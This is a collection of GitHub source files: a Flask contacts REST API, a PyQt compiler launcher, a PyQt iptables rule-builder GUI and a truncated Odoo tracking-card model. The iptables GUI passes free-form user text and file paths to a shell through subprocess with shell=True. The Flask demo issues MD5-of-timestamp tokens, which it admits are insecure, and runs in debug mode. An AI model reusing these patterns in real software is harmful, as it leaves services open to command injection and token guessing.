+{"seq_id":"86302214920","text":"from flask import Flask, request\nfrom flask_restful import abort, Api, Resource\nimport sys,os,time\nimport sqlobject,json\nimport md5 # inseguro pero es un ejemplo demostrativo. \n#from myapp.Contact import Contact\n\napp = Flask(__name__)\napi = Api(app)\n\n\ndef IsValid(token):\n\tquery = TokenObj.q.token==token\n\tif TokenObj.select(query).count() == 1:\n\t\treturn True\n\telse:\n\t\treturn False\n\n\ndef get_elements(data):\n\tret = dict()\n\ttry:\n\t\telements = data.split('&')\n\t\tfor tupla in elements:\n\t\t\tdatos = tupla.split('=')\n\t\t\tif datos[1]: \n\t\t\t\tret[datos[0]]=datos[1]\n\t\treturn ret\n\texcept Exception as e:\n\t\treturn ret\n\n\nclass UserObj(sqlobject.SQLObject):\n\tname = sqlobject.StringCol(length=40, unique=True)\n\tcontact = sqlobject.MultipleJoin('ContactObj', joinColumn='user')\n\nclass TokenObj(sqlobject.SQLObject):\n\ttoken = sqlobject.StringCol(length=256, unique=True)\n\nclass ContactObj(sqlobject.SQLObject):\n\tdata = sqlobject.StringCol(length=256, unique=True)\n\tdatatype = sqlobject.StringCol(length=60)\n\tuser = sqlobject.ForeignKey('UserObj')\n\n\nclass User(Resource):\n\n\tdef get(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['name'] is not None:\n\t\t\t\t\tquery = UserObj.q.name==args['name']\n\t\t\t\t\tuser = UserObj.select(query)[0]\n\t\t\t\t\tif UserObj.select(query).count() == 0:\n\t\t\t\t\t\treturn  {'Error':'Not Found'}, 404\n\t\t\t\t\treturn {'id': user.id,'name' : user.name},\n\t\t\t\telse:\n\t\t\t\t\tlista = {}\n\t\t\t\t\tfor user in UserObj.select():\n\t\t\t\t\t\tlista[user.id] = user.name\n\t\t\t\t\treturn lista\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\tdef put(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['name'] is not None and args['id'] is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tuser = UserObj.get(args['id'])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'User Not Found'}, 404\n\t\t\t\t\tuser.set(name=args['name'])\n\t\t\t\t\tuser = UserObj.get(args['id'])\n\t\t\t\treturn {'id': user.name}, 201\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n\tdef delete(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['name'] is not None:\n\t\t\t\t\tquery = UserObj.q.name==args['name']\n\t\t\t\t\tuser = UserObj.select(query)\n\t\t\t\t\tUserObj.delete(user.id)\n\t\t\t\treturn {'message': 'Done'},\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n\tdef post(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['name'] is not None:\n\t\t\t\t\tUserObj(name=args['name'])\n\t\t\t\treturn {'id': args['name']}, 201\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n# Set token, only demostration\nclass Token(Resource):\n\n\tdef get(self):\n\t\ttoken = md5.new( str(time.time())).hexdigest()\n\t\tTokenObj(token=token)\n\t\treturn {'Token': token }\n\t\n\tdef put(self):\n\t\treturn  {'Error':'Forbidden'}, 403\n\n\tdef post(self):\n\t\treturn  {'Error':'Forbidden'}, 403\n\n\tdef delete(self):\n\t\treturn  {'Error':'Forbidden'}, 403\n\n\n\nclass Contact(Resource):\n\n\tdef put(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['data'] != '' and args['id'] != '' and args['datatype'] != '':\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcontact = ContactObj.get(args['id'])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'Contact Not Found'}, 404\n\t\t\t\t\ttry:\n\t\t\t\t\t\tuser = UserObj.get(args['user'])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'User Not Found'}, 404\n\t\t\t\t\tcontact.set(data=args['data'])\n\t\t\t\t\tcontact.set(datatype=args['datatype'])\n\t\t\t\t\tcontact = ContactObj.get(args['id'])\n\t\t\t\treturn {'id': contact.id, 'data': contact.data, 'datatype': contact.datatype}, 200\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\tdef delete(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['id'] != '':\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcontact = ContactObj.get(args['id'])\n\t\t\t\t\t\tContactObj.delete(contact.id)\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'Bad Request'}, 400\n\n\t\t\t\treturn {'message': 'Done'}, 200\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n\n\tdef get(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['user'] is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tuser = UserObj.get(args['user'])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'User Not Found'}, 404\n\t\t\t\tret = dict()\n\t\t\t\tcontact = ContactObj.select(ContactObj.q.user==user)\n\t\t\t\tfor i in xrange(0,contact.count()):\n\t\t\t\t\tret[i] = {'id':contact[i].id,'data': contact[i].data ,'datatype': contact[i].datatype }\n\t\t\t\treturn json.dumps(ret), 200\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n\tdef post(self,data):\n\t\ttry:\n\t\t\targs = get_elements(data)\n\t\t\tif IsValid(args['token']):\n\t\t\t\tif args['user'] is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tuser = UserObj.get(args['user'])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {'Error':'User Not Found'}, 404\n\t\t\t\tif args['data'] != '' and args['datatype'] != '':\n\t\t\t\t\tcontact = ContactObj(data=args['data'],user=user,datatype=args['datatype'])\n\t\t\t\treturn {'id': contact.id , 'user': user.name}, 201\n\t\t\telse:\n\t\t\t\treturn {'Error':'Invalid Token'}, 401\n\t\texcept Exception as e:\n\t\t\treturn {'Error':'Bad Request'}, 400\n\n\n\n\n\napi.add_resource(Contact, '/contact', '/contact/<string:data>')\napi.add_resource(User, '/user', '/user/<string:data>')\napi.add_resource(Token, '/gettoken','/gettoken/')\n\n\ndef db_open(filename):\n    create = False\n    filename = os.path.abspath(filename)\n    string_conn = 'sqlite:' + filename\n    conn = sqlobject.connectionForURI(string_conn)\n    sqlobject.sqlhub.processConnection = conn\n    UserObj.createTable(ifNotExists=True)\n    TokenObj.createTable(ifNotExists=True)\n    ContactObj.createTable(ifNotExists=True)\n\n\n\ndef main():\n\tdb_open(\"myapp.db\")\n\tapp.run(debug=True, host='localhost', port=8080)\n\nif __name__ == '__main__':\n\tmain()\n\n\n","repo_name":"truravel88/REST-python","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73631537012","text":"\"\"\"\n@ Author: 2054435 廖偲宇\n@ Date: 2023-04-29\n@ Version: 1.0\n@ Description: 编译器主程序（调用集成）\n\"\"\"\n\nfrom UI_Manager.ui_startup import *\nfrom UI_Manager.ui_main import *\n\n\ndef main():\n    c_compiler = QtWidgets.QApplication(sys.argv)  # 创建 QApplication 对象\n    c_compiler.processEvents()  # 处理未处理的事件并使应用程序保持响应，避免开屏影响其他\n\n    open_splash = UI_Splash()  # 创建 开屏画面 对象\n    open_splash.effect()\n\n    c_compiler_surface = QtWidgets.QMainWindow()\n    ui = UI_Main()\n    ui.__init_ui__(c_compiler_surface)\n    c_compiler_surface.show()\n    open_splash.finish(c_compiler_surface)  # 调用 开屏画面 对象的 finish 方法，结束开屏效果\n    sys.exit(c_compiler.exec_())\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"LiaoSiyuu/A-C-Like-Compiler","sub_path":"project_code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10033060175","text":"# coding: utf-8\nimport subprocess\nimport os\nimport sys\nfrom PyQt5 import QtWidgets\nfrom PyQt5 import QtGui\nfrom PyQt5 import uic\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtWidgets import *\nimport socket\niptlist = [\"iptables\",\"-A\",\"INPUT\",\"-p\",\"프로토콜\",\"--dport\",\"포트번호\",\"-s\",\"소스\",\"-j\",\"ACCEPT\",\"서비스\",\"--icmp-type\",\"icmp종류\"]\n#              0        1       2       3       4           5       6       7     8     9     10    11         12         13          14            15            16\ntable = [iptlist[1],iptlist[11],iptlist[4],iptlist[6],iptlist[8],iptlist[10]]\n#           0            1           2          3        4          5\n\nglobal string, row, sume\nstring = \"\"\nrow = 0\nsume = [\"0\"]\ndef combine(index, value):\n    iptlist[index] = value\n\ndef getsume():\n    return int(sume[0])\n\ndef setsume(row):\n    sume[0] = str(row)\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self, parent=None):\n        QtWidgets.QDialog.__init__(self, parent)\n        self.ui = uic.loadUi(\"test2.ui\", self)\n        #파이선파일하고 ui 파일하고 직접 연결\n        header = self.tableWidget.horizontalHeader()\n        header.setSectionResizeMode(3, QtWidgets.QHeaderView.ResizeToContents)\n        self.accept.clicked.connect(self.accept_change)\n        #이벤트(cliked) <= 이벤트 처리함수 연결\n        self.fileopen.clicked.connect(self.fileopen_clicked)\n        self.filesave.clicked.connect(self.filesave_clicked)\n        self.bt_ctrule.clicked.connect(self.bt_ctrule_clicked)\n        self.iptable_L.clicked.connect(self.iptable_L_clicked)\n        self.iptable_F.clicked.connect(self.iptable_F_clicked)\n        self.ruleaccept.clicked.connect(self.ruleaccept_clicked)\n        self.tableclear.clicked.connect(self.tableclear_clicked)\n        self.btflagcut.clicked.connect(self.btflagcut_clicked)\n        self.btflagcutdel.clicked.connect(self.btflagcutdel_clicked)\n        self.btpvipcut.clicked.connect(self.btpvipcut_clicked)\n        self.btpvipcutdel.clicked.connect(self.btpvipcutdel_clicked)\n        self.btallcut.clicked.connect(self.btallcut_clicked)\n        self.btallcutdel.clicked.connect(self.btallcutdel_clicked)\n        self.ui.show()\n        self.Csource.activated[str].connect(self.changeSource)\n        self.Ccmd.activated[str].connect(self.changeCmd)\n        self.Cservice.activated[str].connect(self.changeService)\n        self.Cdecision.activated[str].connect(self.changeDecision)\n        self.Cicmptype.activated[str].connect(self.changeicmptype)\n\n\n\n    def changeService(self, text):\n        if text == \"사용자지정TCP규칙\":\n            protocol = \"TCP\"\n            port = \"\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"사용자지정UDP규칙\":\n            protocol = \"UDP\"\n            port = \"\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"사용자지정프로토콜\":\n            protocol = \"\"\n            port = \"0:65535\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"모든TCP\":\n            protocol = \"TCP\"\n            port = \"0:65535\"\n            source = \"0.0.0.0/0\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            self.Tsource.setText(source)\n            combine(4,protocol)\n            combine(6,port)\n            combine(8,source)\n            combine(11, text)\n        if text == \"모든UDP\":\n            protocol = \"UDP\"\n            port = \"0:65535\"\n            source = \"0.0.0.0/0\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            self.Tsource.setText(source)\n            combine(4,protocol)\n            combine(6,port)\n            combine(8,source)\n            combine(11, text)\n        if text == \"ICMP\":\n            protocol = \"ICMP\"\n            port = \"\"\n            source = \"0.0.0.0/0\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            self.Tsource.setText(source)\n            combine(4,protocol)\n            combine(6,port)\n            combine(8,source)\n            combine(11, text)\n        if text == \"모든ICMP-IPv6\":\n            protocol = \"IPV6 ICMP\"\n            port = \"0:65535\"\n            source = \"0.0.0.0/0\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(8,source)\n            combine(11, text)\n        if text == \"모든트래픽\":\n            protocol = \"모두\"\n            port = \"0:65535\"\n            source = \"0.0.0.0/0\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            self.Tsource.setText(source)\n            combine(4,protocol)\n            combine(6,port)\n            combine(8,source)\n            combine(11, text)\n        if text == \"SSH\":\n            protocol = \"TCP\"\n            port = \"22\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"SMTP\":\n            protocol = \"TCP\"\n            port = \"25\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"HTTP\":\n            protocol = \"TCP\"\n            port = \"80\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"POP3\":\n            protocol = \"TCP\"\n            port = \"110\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"IMAP\":\n            protocol = \"TCP\"\n            port = \"143\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"DNS(UDP)\":\n            protocol = \"UDP\"\n            port = \"53\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"DNS(TCP)\":\n            protocol = \"TCP\"\n            port = \"53\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"Telnet\":\n            protocol = \"TCP\"\n            port = \"23\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"TFTP\":\n            protocol = \"TCP\"\n            port = \"69\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4, protocol)\n            combine(6, port)\n            combine(11, text)\n        if text == \"FTP\":\n            protocol = \"TCP\"\n            port = \"21\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n        if text == \"SNMP\":\n            protocol = \"TCP\"\n            port = \"161\"\n            self.Tprotocol.setText(protocol)\n            self.Tport.setText(port)\n            combine(4,protocol)\n            combine(6,port)\n            combine(11, text)\n\n\n    def changeDecision(self, text):\n        if text == \"허용\":\n            decision = \"ACCEPT\"\n            combine(10,decision)\n        if text == \"거부\":\n            decision = \"DROP\"\n            combine(10,decision)\n\n    def changeCmd(self, text):\n        if text == \"추가\":\n            cmd = \"-A\"\n            combine(1,cmd)\n        if text == \"삭제\":\n            cmd = \"-D\"\n            combine(1,cmd)\n\n    def changeSource(self, text):\n        source = \"\"\n        if text == \"위치무관\":\n            source = '0.0.0.0/0'\n            self.Tsource.setText(source)\n            combine(8, source)\n\n        if text == \"내IP\":\n            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n            s.connect(('8.8.8.8',1))\n            source = s.getsockname()[0]\n            self.Tsource.setText(str(source))\n            combine(8, source)\n\n        if text == \"사용자지정\":\n            self.Tsource.setText(\"\")\n            combine(8, source)\n\n    def changeicmptype(self, text):\n        if text == \"echo-reply\":\n            icmptype = text\n            combine(13,text)\n        elif text == \"destination-unreachable\":\n            icmptype = text\n            combine(13,text)\n        elif text == \"redirect\":\n            icmptype = text\n            combine(13,text)\n        elif text == \"echo-request\":\n            icmptype = text\n            combine(13,text)\n        elif text == \"time-exceeded\":\n            combine(13,text)\n            icmptype = text\n        print(icmptype)\n\n\n    @pyqtSlot()\n    def bt_ctrule_clicked(self):\n        #iptables = [\"iptables\", \"명령어\", \"INPUT\", \"-p\", \"프로토콜\", \"--dport\", \"포트번호\", \"-s\", \"소스\", \"-j\", \"결정\"]\n        iptlist[4] = self.Tprotocol.text()\n        iptlist[6] = self.Tport.text()\n        iptlist[8] = self.Tsource.text()\n\n        table[0] = iptlist[1]\n        table[1] = iptlist[11]\n        table[2] = iptlist[4]\n        table[3] = iptlist[6]\n        table[4] = iptlist[8]\n        table[5] = iptlist[10]\n\n\n        if table[0] == \"-A\":\n            table[0] = \"추가\"\n        elif table[0] == \"-D\":\n            table[0] = \"삭제\"\n\n        if table[5] == \"ACCEPT\":\n            table[5] = \"허용\"\n        elif table[5] == \"DROP\":\n            table[5] = \"차단\"\n\n        if table[1] ==\"사용자지정TCP규칙\":\n            table[1] = \"커스텀TCP\"\n        elif table[1] == \"사용자지정UDP규칙\":\n            table[1] = \"커스텀UDP\"\n\n        if table[2] ==\"ICMP\":\n            table[3] = iptlist[13]\n\n        row = getsume()\n        rowPosition = self.tableWidget.rowCount()\n        self.tableWidget.insertRow(rowPosition)\n        for i in range(6):\n           item = QTableWidgetItem(table[i])\n           # 테이블에 넣을 값 객체로 생성\n           self.tableWidget.setItem(row,i,item)\n           # 테이블에 아이템객체 삽입\n\n        row = row +1\n        setsume(row)\n\n\n\n        temp = [\"iptables\", \"-A\", \"INPUT\", \"-P\", \"프로토콜\", \"--dport\", \"포트번호\", \"-s\", \"소스\",  \"-j\", \"ACCEPT\"]\n        #             0       1     2         3     4          5            6         7    8       9      10\n        for i in range(11):\n            temp[i] = iptlist[i]\n\n        if temp[4] == \"ICMP\":\n            temp[5] = \"--icmp-type\"\n            temp[6] = iptlist[13]\n\n        input = \" \".join(temp)\n\n        text = self.consol.toPlainText() +'\\n'+ input\n        self.consol.setPlainText(text)\n\n    @pyqtSlot()\n    def fileopen_clicked(self):\n        fname = QFileDialog.getOpenFileName(self)\n        load = 'iptables-restore < '+fname[0]\n        result = subprocess.call(load, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        L = 'iptables -L --line-numbers'\n        show = subprocess.check_output(L, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        self.tbview.setPlainText(str(show))\n        #fname[0] 파일 경로\n\n    @pyqtSlot()\n    def filesave_clicked(self):\n        save = 'iptables-save > /home/leehoogy/iptables.rules'\n        result = subprocess.call(save, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        QMessageBox.about(self,\"messege box\",\"save complite.\")\n\n    @pyqtSlot()\n    def iptable_L_clicked(self):\n        L = 'iptables -L --line-numbers'\n        result = subprocess.check_output(L, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        self.tbview.setPlainText(str(result))\n\n    @pyqtSlot()\n    def iptable_F_clicked(self):\n        F = 'iptables -F'\n        result = subprocess.call(F, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        L = 'iptables -L --line-numbers'\n        show = subprocess.check_output(L, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        self.tbview.setPlainText(str(show))\n\n    @pyqtSlot()\n    def ruleaccept_clicked(self):\n        text = self.consol.toPlainText()\n        result = subprocess.call(text, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        L = 'iptables -L --line-numbers'\n        show = subprocess.check_output(L, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        self.tbview.setPlainText(str(show))\n\n    @pyqtSlot()\n    def tableclear_clicked(self):\n        while (self.tableWidget.rowCount() > 0):\n            {\n                self.tableWidget.removeRow(0)\n            }\n        row = 0\n        setsume(row)\n        self.consol.setPlainText(\"\")\n\n    @pyqtSlot()\n    def accept_change(self):\n        text = self.lineEdit.text()\n        test = subprocess.check_output(text, shell=True, universal_newlines=True, stderr=subprocess.STDOUT)\n        self.tbview.setPlainText(str(test))\n\n    @pyqtSlot()\n    def btflagcut_clicked(self):\n        flagcut = \"iptables -A INPUT -p TCP --tcp-flags ACK,FIN FIN -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL NONE -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL PSH,FIN -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL URG,PSH,FIN -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,ACK,FIN -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,FIN,PSH -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,FIN,RST -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,FIN,RST,PSH -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,FIN,ACK,RST -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ALL SYN,ACK,FIN,RST,PSH -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags FIN,RST FIN,RST -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags SYN,FIN SYN,FIN -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ACK,PSH PSH -j DROP\\n\" \\\n                  \"iptables -A INPUT -p TCP --tcp-flags ACK,URG URG -j DROP\"\n        print(flagcut)\n        text = self.consol.toPlainText()\n        text = text+\"\\n\"+flagcut\n        self.consol.setPlainText(text)\n\n    @pyqtSlot()\n    def btflagcutdel_clicked(self):\n        flagcutdel = \"iptables -D INPUT -p TCP --tcp-flags ACK,FIN FIN -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL NONE -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL PSH,FIN -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL URG,PSH,FIN -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,ACK,FIN -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,FIN,PSH -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,FIN,RST -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,FIN,RST,PSH -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,FIN,ACK,RST -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ALL SYN,ACK,FIN,RST,PSH -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags FIN,RST FIN,RST -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags SYN,FIN SYN,FIN -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ACK,PSH PSH -j DROP\\n\" \\\n                     \"iptables -D INPUT -p TCP --tcp-flags ACK,URG URG -j DROP\"\n        print(flagcutdel)\n        text = self.consol.toPlainText()\n        text = text + \"\\n\" + flagcutdel\n        self.consol.setPlainText(text)\n\n    @pyqtSlot()\n    def btpvipcut_clicked(self):\n        pvipcut = \"iptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP\\n\" \\\n                  \"iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP\\n\" \\\n                  \"iptables -A INPUT -i eth0 -s 192.168.0.0/16 -j DROP\\n\" \\\n                  \"iptables -A INPUT -i eth0 -s 224.0.0.0/4 -j DROP\\n\" \\\n                  \"iptables -A INPUT -i eth0 -s 240.0.0.0/5 -j DROP\"\n        print(pvipcut)\n        text = self.consol.toPlainText()\n        text = text + \"\\n\" + pvipcut\n        self.consol.setPlainText(text)\n\n    @pyqtSlot()\n    def btpvipcutdel_clicked(self):\n        pvipcut = \"iptables -D INPUT -i eth0 -s 10.0.0.0/8 -j DROP\\n\" \\\n                  \"iptables -D INPUT -i eth0 -s 172.16.0.0/12 -j DROP\\n\" \\\n                  \"iptables -D INPUT -i eth0 -s 192.168.0.0/16 -j DROP\\n\" \\\n                  \"iptables -D INPUT -i eth0 -s 224.0.0.0/4 -j DROP\\n\" \\\n                  \"iptables -D INPUT -i eth0 -s 240.0.0.0/5 -j DROP\"\n        print(pvipcut)\n        text = self.consol.toPlainText()\n        text = text + \"\\n\" + pvipcut\n        self.consol.setPlainText(text)\n\n    def btallcut_clicked(self):\n        allcut = \"iptables -A INPUT -j DROP\"\n        print(allcut)\n        text = self.consol.toPlainText()\n        text = text + \"\\n\" + allcut\n        self.consol.setPlainText(text)\n\n    def btallcutdel_clicked(self):\n        allcut = \"iptables -D INPUT -j DROP\"\n        print(allcut)\n        text = self.consol.toPlainText()\n        text = text + \"\\n\" + allcut\n        self.consol.setPlainText(text)\n\nif __name__ == '__main__':\n    app = QtWidgets.QApplication(sys.argv)\n    mainwindow = MainWindow()\n    app.exec()","repo_name":"lugan1/network_programming","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":18055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22970655529","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError\nimport re, operator\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass TrackingCard(models.Model):\n    _name = 'vnitpro.tracking.card'\n\n    name = fields.Char('Name', compute='compute_name')\n    delivery_plan_id = fields.Many2one('vnitpro.delivery.plan', 'Delivery Plan', required=True)\n    contract_id = fields.Many2one('vnitpro.product.information', 'Contract',\n                                  domain=\"[('delivery_plan_id','=',delivery_plan_id)]\", required=True)\n    order_id = fields.Many2one('vnitpro.order', 'Order',\n                               domain=\"[('contract_id','=',contract_id),('status','=','draft')]\", required=True)\n    customer_name = fields.Char('Customer Name', related='order_id.customer_name', readonly=True)\n    product_group_id = fields.Many2one('vnitpro.product.group', 'Product', related='contract_id.product_group_id',\n                                       readonly=True)\n    delivery_formality_id = fields.Many2one('vnitpro.delivery.formality', 'Delivery Formality',\n                                            related='contract_id.delivery_formality_id', readonly=True)\n    weight_needed = fields.Float('Weight Needed', related='contract_id.weight', readonly=True)\n    unit_id = fields.Many2one('vnitpro.unit', 'Unit', related='product_group_id.unit_id', readonly=True)\n    expected_price = fields.Float('Expected Price', related='contract_id.expected_price', readonly=True)\n    currency_id = fields.Many2one('vnitpro.currency', 'Currency', readonly=True)\n    tracking_card_information_ids = fields.One2many('vnitpro.tracking.card.information', 'tracking_card_id',\n                                                    'Tracking Card Information')\n    total_weight_delivery = fields.Float('Total Weight Delivery', compute='compute_total', track_visibility='onchange')\n    total_weight_left = fields.Float('Total Weight Left', compute='compute_total', track_visibility='onchange')\n    total_cost = fields.Float('Total Cost', compute='compute_total', track_visibility='onchange')\n    status = fields.Selection([('draft', 'Draft'),\n                               ('done', 'Done')], 'Status', default='draft', track_visibility='onchange')\n\n    _sql_constraints = [('unique_contract', 'unique(contract_id)', 'The tracking card already exists!')]\n\n    @api.multi\n    def confirm_order(self):\n        self.status = 'done'\n        self.order_id.status = 'done'\n\n    @api.multi\n    def check_product(self):\n        self.tracking_card_information_ids = False\n        for record in self.order_id.order_detail_ids:\n            self.currency_id = record.currency_id\n            unit_price = record.unit_price\n            break\n        export_card_list = []\n        weight_left = self.weight_needed\n        inventory_export_cards = self.env['vnitpro.inventory.export.product.detail'].search(\n            [('inventory_export_product_id.contract_id', '=', self.contract_id.id),\n             ('product_group_id', '=', self.product_group_id.id),\n             ('inventory_export_product_id.order_id', '=', self.order_id.id)])\n        direct_export_cards = self.env['vnitpro.direct.import.product.detail'].search(\n            [('direct_import_product_id.contract_id', '=', self.contract_id.id),\n             ('product_group_id', '=', self.product_group_id.id),\n             ('direct_import_product_id.order_id', '=', self.order_id.id)])\n        for record in inventory_export_cards:\n            export_card = {\n                'export_card_number': record.inventory_export_product_id.export_card_number,\n                'export_date': record.inventory_export_product_id.export_date,\n                'product_group_id': record.product_group_id,\n                'weight_delivery': record.present_quantity,\n                'currency_id': self.currency_id.id,\n                'cost': record.present_quantity * unit_price,\n            }\n            export_card_list.append(export_card)\n        for record in direct_export_cards:\n            export_card = {\n                'export_card_number': record.direct_import_product_id.export_card_number,\n                'export_date': record.direct_import_product_id.export_date,\n                'product_group_id': record.product_group_id,\n                'weight_delivery': record.present_quantity,\n                'currency_id': self.currency_id.id,\n                